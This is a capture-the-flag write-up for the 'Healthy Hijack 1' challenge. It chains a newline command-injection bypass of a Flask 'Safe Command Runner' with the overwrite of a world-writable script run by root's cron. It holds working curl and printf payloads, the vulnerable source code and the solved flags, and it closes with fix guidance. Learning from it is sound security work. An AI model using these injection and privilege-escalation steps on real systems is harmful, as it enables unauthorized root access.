Healthy Hijack 1: Command Injection + World‑Writable Root Cron
On this page
User flag: KPMG_CTF{PdkuYmb2wfdxi-8DFoluai6zBYffly128cdWlo1P20dY}
Root flag: KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}
Target: http://kicyber-6f84ae64af41-healthyhijack-0-0.chals.io Category: Infra / command-injection filter bypass → privilege escalation to root Hint (from KPMG CTF): “The application allows execution of limited network commands with strict filtering in place. Or so it seems… Explore the system, identify weaknesses, and escalate your privileges to root.”
Overview
A Flask “Safe Command Runner” runs only ping, traceroute, nslookup, with a blacklist that
strips shell metacharacters. Two flaws chain to full root:
- Command-injection filter bypass: the allowlist is a
startswithcheck and the sanitizer strips; & | \$( <, but **not newlines**. A newline after an allowed command runs arbitrary commands asappuser`. - “Healthy Hijack” privesc: a root cron executes
/opt/healthcheck.shevery ~10 seconds, and that script is world-writable (-rwxrwxrwx). Overwrite it → code execution as root → read/root/root.txt.
Recon
The app (Werkzeug/Flask) posts cmd to /run. Only network commands are accepted:
base="https://kicyber-6f84ae64af41-healthyhijack-0-0.chals.io"
run(){ curl -s "$base/run" --data-urlencode "cmd=$1"; }
run "id" # Command not allowed
run "ping -c 1 127.0.0.1" # runs ping (no cap_net_raw, but executes)
Allowed commands probe → ping, traceroute, nslookup (curl/wget/nc/dig/host blocked).
Finding the bypass
Inline chaining is stripped/blocked, but a newline is not:
# ; && | $() ` all fail or are neutralised, BUT:
printf 'ping -c 1 127.0.0.1\nid' | ... # -> uid=1000(appuser) gid=1000(appuser)
So the payload shape is: first line is an allowed command (passes startswith), and every
following line runs as its own command. Helper used throughout:
multi(){ curl -s "$base/run" --data-urlencode \
"cmd=$(printf 'ping -c 1 127.0.0.1\n%s' "$1")" \
| sed -n '/color:#0f0/,/Back/p' | sed 's/<[^>]*>//g' | grep -vE 'ping:|^\s*$|Back'; }
multi 'id' # uid=1000(appuser) ...
Source confirms it
multi 'cat /app/app.py':
ALLOWED_COMMANDS = ["ping", "traceroute", "nslookup"]
def is_allowed(cmd):
return any(cmd.startswith(c) for c in ALLOWED_COMMANDS)
def sanitize(user_input):
blacklist = [";", "&", "|", "`", "$(","<"]
for b in blacklist:
user_input = user_input.replace(b, "")
return user_input
startswith only guards the first token, the blacklist omits \n (and >), and the result is run
through a shell → newline injection = RCE as appuser.
User flag
multi 'cat /home/appuser/user.txt'
# KPMG_CTF{PdkuYmb2wfdxi-8DFoluai6zBYffly128cdWlo1P20dY}
Privilege escalation (SOLVED)
entrypoint.sh and /etc/crontab reveal the root vector:
multi 'cat /etc/crontab'
* * * * * root /opt/healthcheck.sh
* * * * * root sleep 10 && /opt/healthcheck.sh
* * * * * root sleep 20 && /opt/healthcheck.sh
* * * * * root sleep 30 && /opt/healthcheck.sh
* * * * * root sleep 40 && /opt/healthcheck.sh
* * * * * root sleep 50 && /opt/healthcheck.sh
* * * * * root find /tmp -perm /4000 -delete # only nukes SUID files in /tmp
/opt/healthcheck.sh runs as root every ~10 s, and it’s world-writable:
multi 'ls -la /opt/healthcheck.sh'
# -rwxrwxrwx 1 root root 58 ... /opt/healthcheck.sh
Overwrite it to copy the root flag somewhere readable. Only <,;,&,|,backtick,$( are
stripped (> is allowed), so write the file with printf '…' >:
multi "printf '#!/bin/sh\ncp /root/root.txt /tmp/rf.txt\nchmod 777 /tmp/rf.txt\n' > /opt/healthcheck.sh"
multi 'cat /opt/healthcheck.sh'
# #!/bin/sh
# cp /root/root.txt /tmp/rf.txt
# chmod 777 /tmp/rf.txt
Wait one cron tick, then read the exfiltrated flag (the find /tmp -perm /4000 -delete cron only
deletes SUID binaries, so a plain .txt survives):
until multi 'cat /tmp/rf.txt' | grep -q KPMG_CTF; do sleep 8; done
multi 'cat /tmp/rf.txt'
# KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}
Root flag: KPMG_CTF{da093434a1110fe18aad1fe4867aae1a}
Why it works
startswithallowlisting validates only the beginning of the input; everything after a newline is ignored by the check but still executed by the shell.- Blacklist sanitization is incomplete: it never accounts for newlines (or
>), so command separation and output redirection remain available. - A privileged scheduled task runs a world-writable script. Anything
appuserwrites to/opt/healthcheck.shexecutes as root within ~10 seconds.
Root cause & fix
- Don’t shell out to user input. If a fixed set of network tools must be offered, invoke them
with
subprocess.run([...], shell=False)and an explicit argv; validate the target with a strict regex (and never pass the raw string to a shell). - Allowlist by exact match, not
startswith, and reject any input containing control characters/newlines. Blacklists are the wrong model. - Never leave a root-scheduled script world-writable.
/opt/healthcheck.shshould beroot:root 755(or700); scripts run by cron as root must not be writable by the app user. - Run the app in a least-privilege container; don’t co-locate a readable root flag with a trivially hijackable root cron.
Takeaways
- When a “command runner” filters metacharacters, try newlines (and
%0a); they bypass bothstartswith-style allowlists and metachar blacklists, and shells treat each line as a command. - After getting a shell, read
/etc/crontab+/etc/cron.dandls -laanything a root cron runs. A world-writable root-run script is instant privesc. - Note what cleanup jobs do: the
find /tmp -perm /4000 -deletehere only kills SUID files, so exfiltrating via a normal/tmp/*.txtis safe.